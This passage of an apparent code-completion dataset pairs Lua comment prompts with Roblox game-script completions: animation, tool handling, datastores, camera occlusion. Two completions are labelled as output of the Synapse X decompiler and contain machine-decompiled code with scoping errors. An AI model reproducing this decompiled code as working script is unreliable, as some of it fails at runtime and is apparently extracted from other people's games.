12.0)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif jumpAnimTime <= 0 then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nEffects.ChildAdded:connect(function(ch)\n\tif ch.Name == \"Swimming\" then\n\t\tpose = \"Running\"\n\tend\nend)\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then"} +{"prompt": "-- Functions --", "completion": "\n\nlocal function playSoundLocal(sId,sParent)\n\tlocal sound = Instance.new(\"Sound\",sParent)\n\tsound.SoundId = \"http://www.roblox.com/asset/?id=\"..sId\n\tsound:Play()\n\tsound:Destroy()\nend\n\nlocal function onClicked(player)\n\tprint(player.Name..\" clicked on Uniform Giver\")\n\t\n\tplaySoundLocal(0,player)\t-- Declaring the sound ID and Parent\n\t\n\t\n\t\n\t\n\tlocal foundShirt = player.Character:FindFirstChild(\"Shirt\") -- Tries to find Shirt\n\tif not foundShirt then -- if there is no shirt\n\t\tprint(\"No shirt found, creating for \"..player.Name)\n\t\tlocal newShirt = Instance.new(\"Shirt\",player.Character)\n\t\tnewShirt.Name = \"Shirt\"\n\telse if foundShirt then -- if there is a shirt\n\t\tprint(\"Shirt found, reconstructing for \"..player.Name)\n\t\tplayer.Character.Shirt:remove()\n\t\tlocal newShirt = Instance.new(\"Shirt\",player.Character)\n\t\tnewShirt.Name = \"Shirt\"\n\tend\n\tend\n\t\n\t\n\t\n\t\n\tlocal foundPants = player.Character:FindFirstChild(\"Pants\") -- Tries to find Pants\n\tif not foundPants then -- if there are no pants\n\t\tprint(\"No pants found, creating for \"..player.Name)\n\t\tlocal newPants = Instance.new(\"Pants\",player.Character)\n\t\tnewPants.Name = \"Pants\"\n\telse if foundPants then -- if there are pants\n\t\tprint(\"Pants found, reconstructing for \"..player.Name)\n\t\tplayer.Character.Pants:remove()\n\t\tlocal newPants = Instance.new(\"Pants\",player.Character)\n\t\tnewPants.Name = \"Pants\"\n\tend\n\tend\n\t\n\tplayer.Character.Shirt.ShirtTemplate = shirtId\n\tplayer.Character.Pants.PantsTemplate = pantsId\n\tend\n\n\n\n\nlocal function onHoverEnter(player)\n\tcPart.Transparency = 1\n\tcPart.BrickColor = BrickColor.White()\nend\n\n\n\nlocal function onHoverLeave(player)\n\tcPart.BrickColor = BrickColor.Gray()\n\tcPart.Transparency = 1\nend\n\n"} +{"prompt": "-- Function to bind to Unequip event", "completion": "\nlocal function unequip()\n\tif connection then connection:disconnect() end\n\tcontextActionService:UnbindAction(\"Reload\")\n\tgame.ReplicatedStorage.ROBLOX_PistolUnequipEvent:FireServer()\n\tmouse.Icon = oldIcon\n\tneck.C0 = oldNeckC0\n\tshoulder.C0 = oldShoulderC0\nend\n"} +{"prompt": "--[[ Use the following script to program your on/off switch to do stuff. This can mean opening and closing a door, turning on and off lights, anything!\nJust put what you want the button to do while on/off below.]]", "completion": "\n\nRoom = script.Parent\n\nfunction on() --Type below what you want the button to do while it is on.\nRoom.L1.SpotLight.Enabled = true\nRoom.L2.SpotLight.Enabled = true\nRoom.L3.SpotLight.Enabled = true\nend\n\nfunction off() --Type below what you want the button to do while it is off.\nRoom.L1.SpotLight.Enabled = false\nRoom.L2.SpotLight.Enabled = false\nRoom.L3.SpotLight.Enabled = false\nend\n"} +{"prompt": "--// bolekinds", "completion": "\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tif game.Players.LocalPlayer.YouCash.Value >= 50 then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\telse\n\t\tscript.Parent.Parent.Parent.Thud:Play()\n\tend\nend)\n"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween\n\tAimZoom = 50; -- Default zoom\n\tAimSpeed = 0.45;\n\tUnaimSpeed = 0.35;\n\tCycleAimZoom = 4; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "--[[\n\tReturns the current value of this Tween object.\n\tThe object will be registered as a dependency unless `asDependency` is false.\n]]", "completion": "\nfunction class:get(asDependency: boolean?)\n\tif asDependency ~= false then\n\t\tuseDependency(self)\n\tend\n\treturn self._currentValue\nend\n"} +{"prompt": "-- Roact", "completion": "\nlocal new = Roact.createElement\nlocal ImageLabel = require(UI:WaitForChild 'ImageLabel')\n"} +{"prompt": "--// Connections", "completion": "\nL_1_.Equipped:connect(function()\n\tlocal L_52_ = L_3_:FindFirstChild('Torso')\n\tlocal L_53_ = L_3_:FindFirstChild('Head')\n\tlocal L_54_ = L_3_:FindFirstChild('HumanoidRootPart')\n\t\n\tL_16_ = Instance.new(\"Motor6D\", L_52_)\n\tL_16_.Parent = L_52_\n\tL_16_.Name = \"Clone\"\n\tL_16_.Part0 = L_54_\n\tL_16_.Part1 = L_53_\n\tL_16_.C0 = L_52_:WaitForChild(\"Neck\").C0\t\n\tL_16_.C1 = L_52_:WaitForChild(\"Neck\").C1\n\t"} +{"prompt": "-- DefaultValue for spare ammo", "completion": "\nlocal SpareAmmo = 300"} +{"prompt": "--[=[\n\tReturns whether or not two tables are shallowly equal, or in other words,\n\thave the same set of key-value pairs.\n\t@param a The first table to compare.\n\t@param b The second table to compare.\n\t@returns Whether or not the tables are shallowly equal.\n]=]", "completion": "\nlocal function shallowEqual(a: any, b: any): boolean\n\tif a == b then\n\t\treturn true\n\tend\n\n\tif type(a) ~= \"table\" or type(b) ~= \"table\" then\n\t\treturn false\n\tend\n\n\tfor key, value in a do\n\t\tif b[key] ~= value then\n\t\t\treturn false\n\t\tend\n\tend\n\n\tfor key, value in b do\n\t\tif a[key] ~= value then\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn true\nend\n\nreturn shallowEqual\n"} +{"prompt": "--> FUNCTIONS", "completion": "\nPistol.Activated:Connect(function()\n\tlocal Mouse = Player:GetMouse()\n\tif BulletHoleEvent:WaitForChild(\"CurrentAmmo\").Value ~= 0 then\n\t\tBulletHoleEvent:FireServer(Mouse.Hit.Position)\n\telse end\nend)\n"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal GuiService = game:GetService(\"GuiService\")\nlocal Workspace = game:GetService(\"Workspace\")\nlocal UserGameSettings = UserSettings():GetService(\"UserGameSettings\")\nlocal VRService = game:GetService(\"VRService\")\n"} +{"prompt": "--!strict", "completion": "\n\ntype dictonary = {[any]: any}\ntype callback = () -> nil\n"} +{"prompt": "--[[ Local Functions ]]", "completion": "--\nlocal function getHumanoid()\n\tlocal character = LocalPlayer and LocalPlayer.Character\n\tif character then\n\t\tif CachedHumanoid and CachedHumanoid.Parent == character then\n\t\t\treturn CachedHumanoid\n\t\telse\n\t\t\tCachedHumanoid = nil\n\t\t\tfor _,child in pairs(character:GetChildren()) do\n\t\t\t\tif child:IsA('Humanoid') then\n\t\t\t\t\tCachedHumanoid = child\n\t\t\t\t\treturn CachedHumanoid\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- This function isn't supported in a testing environment", "completion": "\nServerSceneFramework.GetServerTimeNow = function()\n\treturn workspace:GetServerTimeNow()\nend\n\nlocal hasBeenCalled = false\n\nreturn function(stubs)\n\tif hasBeenCalled then\n\t\terror(\"Server Scene Framework has already been called\")\n\t\treturn\n\tend\n\n\t-- Used for testing only\n\tif stubs then\n\t\tfor i, v in pairs(stubs) do\n\t\t\tServerSceneFramework[i] = v\n\t\tend\n\tend\n\n\t-- Load Character Remote Event: Load a player's character if primary part isn't detected for new scene\n\tServerSceneFramework.handleLoadCharacterRemoteEvent = ServerSceneFramework.LoadCharacterRemoteEventModule\n\tServerSceneFramework.LoadCharacterRemoteEvent.OnServerEvent:Connect(\n\t\tServerSceneFramework.handleLoadCharacterRemoteEvent\n\t)\n\n\t-- Load Scene: Loads a scene: Core functionality\n\tServerSceneFramework.LoadScene = ServerSceneFramework.LoadSceneModule(ServerSceneFramework)\n\n\t-- Finished Loading Remote Event: Send Configs over for the current scene per player when they finish loading\n\tServerSceneFramework.handleFinishedLoadingRemoteEvent = ServerSceneFramework.FinishedLoadingClientModule(\n\t\tServerSceneFramework.SendSceneConfigForPlayer\n\t)\n\tServerSceneFramework.FinishedLoadingRemoteEvent.OnServerEvent:Connect(\n\t\tServerSceneFramework.handleFinishedLoadingRemoteEvent\n\t)\n\n\t-- Get Current Scene Environment: Returns the folder containing respective scene's workspace assets\n\tServerSceneFramework.handleGetCurrentSceneEnvironment = ServerSceneFramework.GetCurrentSceneEnvironmentModule\n\tServerSceneFramework.GetCurrentSceneEnvironment.OnInvoke = ServerSceneFramework.handleGetCurrentSceneEnvironment\n\tServerSceneFramework.GetCurrentServerEnvironmentFromClient.OnServerInvoke =\n\t\tServerSceneFramework.handleGetCurrentSceneEnvironment\n\n\t-- Is Loading Scene: Lets people know if SSF is loading a scene\n\tServerSceneFramework.handleIsLoadingScene = ServerSceneFramework.IsLoadingSceneModule\n\tServerSceneFramework.IsLoadingScene.OnInvoke = ServerSceneFramework.handleIsLoadingScene\n\n\t-- Load Scene From List Event: LoadScene, but from the UI when user has permissions\n\tServerSceneFramework.handleLoadSceneFromListEvent = ServerSceneFramework.LoadSceneFromListEventModule(\n\t\tServerSceneFramework\n\t)\n\tServerSceneFramework.LoadSceneFromListEvent.OnServerEvent:Connect(ServerSceneFramework.handleLoadSceneFromListEvent)\n\n\t-- Load Scene Server: LoadScene programmatically from a server script\n\tServerSceneFramework.handleLoadSceneServer = ServerSceneFramework.LoadSceneServerModule(ServerSceneFramework)\n\tServerSceneFramework.LoadSceneServer.Event:Connect(ServerSceneFramework.handleLoadSceneServer)\n\n\t-- On Player Added: Loads the current scene, if any, for a new player\n\tServerSceneFramework.OnPlayerAddedModule(ServerSceneFramework)\n\n\t-- Check Folder For Loaded Scenes: Checks the workspace folders for a potentially loaded scene from plugin\n\tServerSceneFramework.CheckFolderForLoadedScenes = ServerSceneFramework.CheckFolderForLoadedScenesModule\n\n\t-- Find Client Folder: checks for a possibly loaded scene's client folder\n\tServerSceneFramework.FindClientFolder = ServerSceneFramework.FindClientFolderModule\n\n\t-- Find Server Folder: checks for a possibly loaded scene's server folder\n\tServerSceneFramework.FindServerFolder = ServerSceneFramework.FindServerFolderModule\n\n\t-- Similar to running on require\n\tServerSceneFramework.InitModule(ServerSceneFramework)\n\n\thasBeenCalled = true\n\n\treturn ServerSceneFramework\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__Debris__1 = game:GetService(\"Debris\");\nlocal l__TweenService__1 = game:GetService(\"TweenService\");\nreturn function(p1, p2, p3, p4, p5)\n\tlocal v2 = l__TweenService__1:Create(p1, TweenInfo.new(unpack(p2)), p3);\n\tif not p4 then\n\t\tv2:Play();\n\tend;\n\ttask.defer(function()\n\t\tif p5 then\n\t\t\ttask.wait(p5);\n\t\tend;\n\t\tv2:Play();\n\tend);\n\tv2:Destroy();\n\treturn v2;\nend;\n"} +{"prompt": "--[[ DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU ARE DOING! ]]", "completion": "--\n\ngame.Players.PlayerAdded:Connect(function(player)\n\tlocal leaderstats = Instance.new(\"Folder\")\n\tleaderstats.Name = \"leaderstats\"\n\tleaderstats.Parent = player\n\t\n\tlocal value = Instance.new(\"IntValue\")\n\tvalue.Name = \"Coins\"\n\tvalue.Value = valueData:GetAsync(player.UserId) or startingValueAmount\n\tvalue.Parent = leaderstats\n\t\n\tvalue.Changed:Connect(function()\n\t\t valueData:SetAsync(player.UserId, value.Value)\n\tend)\nend)\n"} +{"prompt": "-- Cleanup:", "completion": "\n\nfunction Replica:IsActive() --> is_active [bool]\n\treturn Replicas[self.Id] ~= nil\nend\n\nfunction Replica:AddCleanupTask(task)\n\treturn self._maid:AddCleanupTask(task)\nend\n\nfunction Replica:RemoveCleanupTask(task)\n\tself._maid:RemoveCleanupTask(task)\nend\n"} +{"prompt": "--Made by Vlatkovski\n--Make sure to put this in ServerScriptService (it's the most secure place)", "completion": "\n"} +{"prompt": "------------------------------------------------------------------------\n-- initialize lexer\n-- * original luaX_init has code to create and register token strings\n-- * luaX.tokens: TK_* -> token\n-- * luaX.enums: token -> TK_* (used in luaX:llex)\n------------------------------------------------------------------------", "completion": "\nfunction luaX:init()\n local tokens, enums = {}, {}\n for v in string.gmatch(self.RESERVED, \"[^\\n]+\") do\n local _, _, tok, str = string.find(v, \"(%S+)%s+(%S+)\")\n tokens[tok] = str\n enums[str] = tok\n end\n self.tokens = tokens\n self.enums = enums\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__Players__1 = game:GetService(\"Players\");\nlocal function u1(p1, p2, p3, p4, p5, p6, p7, p8, p9)\n\treturn p1 * (p5 * p9 - p6 * p8) - p2 * (p4 * p9 - p6 * p7) + p3 * (p4 * p8 - p5 * p7);\nend;\nlocal u2 = Vector3.new(0, 0, 0);\nlocal v2 = require(script.Parent:WaitForChild(\"BaseOcclusion\"));\nlocal v3 = setmetatable({}, v2);\nv3.__index = v3;\nlocal u3 = {\n\tLIMBS = 2, \n\tMOVEMENT = 3, \n\tCORNERS = 4, \n\tCIRCLE1 = 5, \n\tCIRCLE2 = 6, \n\tLIMBMOVE = 7, \n\tSMART_CIRCLE = 8, \n\tCHAR_OUTLINE = 9\n};\nfunction v3.new()\n\tlocal v4 = setmetatable(v2.new(), v3);\n\tv4.char = nil;\n\tv4.humanoidRootPart = nil;\n\tv4.torsoPart = nil;\n\tv4.headPart = nil;\n\tv4.childAddedConn = nil;\n\tv4.childRemovedConn = nil;\n\tv4.behaviors = {};\n\tv4.behaviors[u3.LIMBS] = v4.LimbBehavior;\n\tv4.behaviors[u3.MOVEMENT] = v4.MoveBehavior;\n\tv4.behaviors[u3.CORNERS] = v4.CornerBehavior;\n\tv4.behaviors[u3.CIRCLE1] = v4.CircleBehavior;\n\tv4.behaviors[u3.CIRCLE2] = v4.CircleBehavior;\n\tv4.behaviors[u3.LIMBMOVE] = v4.LimbMoveBehavior;\n\tv4.behaviors[u3.SMART_CIRCLE] = v4.SmartCircleBehavior;\n\tv4.behaviors[u3.CHAR_OUTLINE] = v4.CharacterOutlineBehavior;\n\tv4.mode = u3.SMART_CIRCLE;\n\tv4.behaviorFunction = v4.SmartCircleBehavior;\n\tv4.savedHits = {};\n\tv4.trackedLimbs = {};\n\tv4.camera = game.Workspace.CurrentCamera;\n\tv4.enabled = false;\n\treturn v4;\nend;\nfunction v3.Enable(p10, p11)\n\tp10.enabled = p11;\n\tif not p11 then\n\t\tp10:Cleanup();\n\tend;\nend;\nfunction v3.GetOcclusionMode(p12)\n\treturn Enum.DevCameraOcclusionMode.Invisicam;\nend;\nfunction v3.LimbBehavior(p13, p14)\n\tfor v5, v6 in pairs(p13.trackedLimbs) do\n\t\tp14[#p14 + 1] = v5.Position;\n\tend;\nend;\nfunction v3.MoveBehavior(p15, p16)\n\tfor v7 = 1, 3 do\n\t\tlocal l__Velocity__8 = p15.humanoidRootPart.Velocity;\n\t\tp16[#p16 + 1] = p15.humanoidRootPart.Position + (v7 - 1) * p15.humanoidRootPart.CFrame.lookVector * (Vector3.new(l__Velocity__8.X, 0, l__Velocity__8.Z).Magnitude / 2);\n\tend;\nend;\nlocal u4 = { Vector3.new(1, 1, -1), Vector3.new(1, -1, -1), Vector3.new(-1, -1, -1), Vector3.new(-1, 1, -1) };\nfunction v3.CornerBehavior(p17, p18)\n\tlocal l__CFrame__9 = p17.humanoidRootPart.CFrame;\n\tlocal l__p__10 = l__CFrame__9.p;\n\tlocal v11 = l__CFrame__9 - l__p__10;\n\tlocal v12 = p17.char:GetExtentsSize() / 2;\n\tp18[#p18 + 1] = l__p__10;\n\tfor v13 = 1, #u4 do\n\t\tp18[#p18 + 1] = l__p__10 + v11 * (v12 * u4[v13]);\n\tend;\nend;\nfunction v3.CircleBehavior(p19, p20)\n\tif p19.mode == u3.CIRCLE1 then\n\t\tlocal v14 = p19.humanoidRootPart.CFrame;\n\telse\n\t\tlocal l__CoordinateFrame__15 = p19.camera.CoordinateFrame;\n\t\tv14 = l__CoordinateFrame__15 - l__CoordinateFrame__15.p + p19.humanoidRootPart.Position;\n\tend;\n\tp20[#p20 + 1] = v14.p;\n\tfor v16 = 0, 9 do\n\t\tlocal v17 = 2 * math.pi / 10 * v16;\n\t\tp20[#p20 + 1] = v14 * (3 * Vector3.new(math.cos(v17), math.sin(v17), 0));\n\tend;\nend;\nfunction v3.LimbMoveBehavior(p21, p22)\n\tp21:LimbBehavior(p22);\n\tp21:MoveBehavior(p22);\nend;\nfunction v3.CharacterOutlineBehavior(p23, p24)\n\tlocal l__unit__18 = p23.torsoPart.CFrame.upVector.unit;\n\tlocal l__unit__19 = p23.torsoPart.CFrame.rightVector.unit;\n\tp24[#p24 + 1] = p23.torsoPart.CFrame.p;\n\tp24[#p24 + 1] = p23.torsoPart.CFrame.p + l__unit__18;\n\tp24[#p24 + 1] = p23.torsoPart.CFrame.p - l__unit__18;\n\tp24[#p24 + 1] = p23.torsoPart.CFrame.p + l__unit__19;\n\tp24[#p24 + 1] = p23.torsoPart.CFrame.p - l__unit__19;\n\tif p23.headPart then\n\t\tp24[#p24 + 1] = p23.headPart.CFrame.p;\n\tend;\n\tlocal v20 = CFrame.new(u2, Vector3.new(p23.camera.CoordinateFrame.lookVector.X, 0, p23.camera.CoordinateFrame.lookVector.Z));\n\tlocal v21 = p23.torsoPart and p23.torsoPart.Position or p23.humanoidRootPart.Position;\n\tlocal v22 = { p23.torsoPart };\n\tif p23.headPart then\n\t\tv22[#v22 + 1] = p23.headPart;\n\tend;\n\tfor v23 = 1, 24 do\n\t\tlocal v24 = 2 * math.pi * v23 / 24;\n\t\tlocal v25 = v20 * (3 * Vector3.new(math.cos(v24), math.sin(v24), 0));\n\t\tlocal v26 = Vector3.new(v25.X, math.max(v25.Y, -2.25), v25.Z);\n\t\tlocal v27, v28 = game.Workspace:FindPartOnRayWithWhitelist(Ray.new(v21 + v26, -3 * v26), v22, false, false);\n\t\tif v27 then\n\t\t\tp24[#p24 + 1] = v28 + 0.2 * (v21 - v28).unit;\n\t\tend;\n\tend;\nend;\nlocal u5 = 2 * math.pi / 24;\nlocal function u6(p25, p26, p27, p28)\n\tlocal v29 = p26:Cross(p28);\n\tlocal v30 = p27.x - p25.x;\n\tlocal v31 = p27.y - p25.y;\n\tlocal v32 = p27.z - p25.z;\n\tlocal v33 = u1(p26.x, -p28.x, v29.x, p26.y, -p28.y, v29.y, p26.z, -p28.z, v29.z);\n\tif v33 == 0 then\n\t\treturn u2;\n\tend;\n\tlocal v34 = u1(v30, -p28.x, v29.x, v31, -p28.y, v29.y, v32, -p28.z, v29.z) / v33;\n\tlocal v35 = u1(p26.x, v30, v29.x, p26.y, v31, v29.y, p26.z, v32, v29.z) / v33;\n\tlocal v36 = p25 + v34 * p26;\n\tlocal v37 = p27 + v35 * p28;\n\tif (v37 - v36).Magnitude < 0.25 then\n\t\treturn v36 + 0.5 * (v37 - v36);\n\tend;\n\treturn u2;\nend;\nfunction v3.SmartCircleBehavior(p29, p30)\n\tlocal l__unit__38 = p29.torsoPart.CFrame.upVector.unit;\n\tlocal l__unit__39 = p29.torsoPart.CFrame.rightVector.unit;\n\tp30[#p30 + 1] = p29.torsoPart.CFrame.p;\n\tp30[#p30 + 1] = p29.torsoPart.CFrame.p + l__unit__38;\n\tp30[#p30 + 1] = p29.torsoPart.CFrame.p - l__unit__38;\n\tp30[#p30 + 1] = p29.torsoPart.CFrame.p + l__unit__39;\n\tp30[#p30 + 1] = p29.torsoPart.CFrame.p - l__unit__39;\n\tif p29.headPart then\n\t\tp30[#p30 + 1] = p29.headPart.CFrame.p;\n\tend;\n\tlocal v40 = p29.camera.CFrame - p29.camera.CFrame.p;\n\tlocal v41 = Vector3.new(0, 0.5, 0) + (p29.torsoPart and p29.torsoPart.Position or p29.humanoidRootPart.Position);\n\tfor v42 = 1, 24 do\n\t\tlocal v43 = u5 * v42 - 0.5 * math.pi;\n\t\tlocal v44 = v41 + v40 * (2.5 * Vector3.new(math.cos(v43), math.sin(v43), 0));\n\t\tlocal v45 = v44 - p29.camera.CFrame.p;\n\t\tlocal v46, v47, v48 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v41, v44 - v41), { p29.char }, false, false);\n\t\tlocal v49 = v44;\n\t\tif v46 then\n\t\t\tlocal v50 = v47 + 0.1 * v48.unit;\n\t\t\tlocal v51 = v50 - v41;\n\t\t\tlocal l__unit__52 = v51:Cross(v45).unit:Cross(v48).unit;\n\t\t\tif v51.unit:Dot(-l__unit__52) < v51.unit:Dot((v50 - p29.camera.CFrame.p).unit) then\n\t\t\t\tv49 = u6(v50, l__unit__52, v44, v45);\n\t\t\t\tif v49.Magnitude > 0 then\n\t\t\t\t\tlocal v53, v54, v55 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v50, v49 - v50), { p29.char }, false, false);\n\t\t\t\t\tif v53 then\n\t\t\t\t\t\tv49 = v54 + 0.1 * v55.unit;\n\t\t\t\t\tend;\n\t\t\t\telse\n\t\t\t\t\tv49 = v50;\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tv49 = v50;\n\t\t\tend;\n\t\t\tlocal v56, v57, v58 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v41, v49 - v41), { p29.char }, false, false);\n\t\t\tif v56 then\n\t\t\t\tv49 = v57 - 0.1 * (v49 - v41).unit;\n\t\t\tend;\n\t\tend;\n\t\tp30[#p30 + 1] = v49;\n\tend;\nend;\nfunction v3.CheckTorsoReference(p31)\n\tif p31.char then\n\t\tp31.torsoPart = p31.char:FindFirstChild(\"Torso\");\n\t\tif not p31.torsoPart then\n\t\t\tp31.torsoPart = p31.char:FindFirstChild(\"UpperTorso\");\n\t\t\tif not p31.torsoPart then\n\t\t\t\tp31.torsoPart = p31.char:FindFirstChild(\"HumanoidRootPart\");\n\t\t\tend;\n\t\tend;\n\t\tp31.headPart = p31.char:FindFirstChild(\"Head\");\n\tend;\nend;\nlocal u7 = {\n\tHead = true, \n\t[\"Left Arm\"] = true, \n\t[\"Right Arm\"] = true, \n\t[\"Left Leg\"] = true, \n\t[\"Right Leg\"] = true, \n\tLeftLowerArm = true, \n\tRightLowerArm = true, \n\tLeftUpperLeg = true, \n\tRightUpperLeg = true\n};\nfunction v3.CharacterAdded(p32, p33, p34)\n\tif p34 ~= l__Players__1.LocalPlayer then\n\t\treturn;\n\tend;\n\tif p32.childAddedConn then\n\t\tp32.childAddedConn:Disconnect();\n\t\tp32.childAddedConn = nil;\n\tend;\n\tif p32.childRemovedConn then\n\t\tp32.childRemovedConn:Disconnect();\n\t\tp32.childRemovedConn = nil;\n\tend;\n\tp32.char = p33;\n\tp32.trackedLimbs = {};\n\tlocal function v59(p35)\n\t\tif p35:IsA(\"BasePart\") then\n\t\t\tif u7[p35.Name] then\n\t\t\t\tp32.trackedLimbs[p35] = true;\n\t\t\tend;\n\t\t\tif p35.Name == \"Torso\" or p35.Name == \"UpperTorso\" then\n\t\t\t\tp32.torsoPart = p35;\n\t\t\tend;\n\t\t\tif p35.Name == \"Head\" then\n\t\t\t\tp32.headPart = p35;\n\t\t\tend;\n\t\tend;\n\tend;\n\tp32.childAddedConn = p33.ChildAdded:Connect(v59);\n\tp32.childRemovedConn = p33.ChildRemoved:Connect(function(p36)\n\t\tp32.trackedLimbs[p36] = nil;\n\t\tp32:CheckTorsoReference();\n\tend);\n\tfor v60, v61 in pairs(p32.char:GetChildren()) do\n\t\tv59(v61);\n\tend;\nend;\nlocal function u8(p37, ...)\n\tlocal v62 = {};\n\tlocal v63 = \"\";\n\tfor v64, v65 in pairs({ ... }) do\n\t\tv62[v65] = true;\n\t\tif v63 == \"\" then\n\t\t\tlocal v66 = \"\";\n\t\telse\n\t\t\tv66 = \" or \";\n\t\tend;\n\t\tv63 = v63 .. v66 .. v65;\n\tend;\n\tlocal v67 = type(p37);\n\tassert(v62[v67], v63 .. \" type expected, got: \" .. v67);\nend;\nfunction v3.SetMode(p38, p39)\n\tu8(p39, \"number\");\n\tfor v68, v69 in pairs(u3) do\n\t\tif v69 == p39 then\n\t\t\tp38.mode = p39;\n\t\t\tp38.behaviorFunction = p38.behaviors[p38.mode];\n\t\t\treturn;\n\t\tend;\n\tend;\n\terror(\"Invalid mode number\");\nend;\nfunction v3.GetObscuredParts(p40)\n\treturn p40.savedHits;\nend;\nfunction v3.Cleanup(p41)\n\tfor v70, v71 in pairs(p41.savedHits) do\n\t\tv70.LocalTransparencyModifier = v71;\n\tend;\nend;\nfunction v3.Update(p42, p43, p44, p45)\n\tlocal v72 = nil;\n\tif not p42.enabled or not p42.char then\n\t\treturn p44, p45;\n\tend;\n\tp42.camera = game.Workspace.CurrentCamera;\n\tif not p42.humanoidRootPart then\n\t\tlocal v73 = p42.char:FindFirstChildOfClass(\"Humanoid\");\n\t\tif v73 and v73.RootPart then\n\t\t\tp42.humanoidRootPart = v73.RootPart;\n\t\telse\n\t\t\tp42.humanoidRootPart = p42.char:FindFirstChild(\"HumanoidRootPart\");\n\t\t\tif not p42.humanoidRootPart then\n\t\t\t\treturn p44, p45;\n\t\t\tend;\n\t\tend;\n\t\tlocal u9 = nil;\n\t\tu9 = p42.humanoidRootPart.AncestryChanged:Connect(function(p46, p47)\n\t\t\tif p46 == p42.humanoidRootPart and not p47 then\n\t\t\t\tp42.humanoidRootPart = nil;\n\t\t\t\tif u9 and u9.Connected then\n\t\t\t\t\tu9:Disconnect();\n\t\t\t\t\tu9 = nil;\n\t\t\t\tend;\n\t\t\tend;\n\t\tend);\n\tend;\n\tif not p42.torsoPart then\n\t\tp42:CheckTorsoReference();\n\t\tif not p42.torsoPart then\n\t\t\treturn p44, p45;\n\t\tend;\n\tend;\n\tlocal v74 = {};\n\tp42:behaviorFunction(v74);\n\tlocal v75 = { p42.char };\n\tlocal u10 = {};\n\tlocal function v76(p48)\n\t\tu10[p48] = true;\n\t\tif not p42.savedHits[p48] then\n\t\t\tp42.savedHits[p48] = p48.LocalTransparencyModifier;\n\t\tend;\n\tend;\n\tlocal v77 = 0;\n\tlocal v78 = {};\n\tlocal v79 = 0.75;\n\tlocal v80 = 0.75;\n\tlocal v81 = p42.camera:GetPartsObscuringTarget({ p42.headPart and p42.headPart.CFrame.p or v74[1], p42.torsoPart and p42.torsoPart.CFrame.p or v74[2] }, v75);\n\tfor v82 = 1, #v81 do\n\t\tlocal v83 = v81[v82];\n\t\tv72 = v77 + 1;\n\t\tv78[v83] = true;\n\t\tfor v84, v85 in pairs(v83:GetChildren()) do\n\t\t\tif v85:IsA(\"Decal\") then\n\t\t\t\tv72 = v72 + 1;\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tif v85:IsA(\"Texture\") then\n\t\t\t\tv72 = v72 + 1;\n\t\t\t\tbreak;\n\t\t\tend;\n\t\tend;\n\tend;\n\tif v72 > 0 then\n\t\tv79 = math.pow(0.375 + 0.375 / v72, 1 / v72);\n\t\tv80 = math.pow(0.25 + 0.25 / v72, 1 / v72);\n\tend;\n\tlocal v86 = 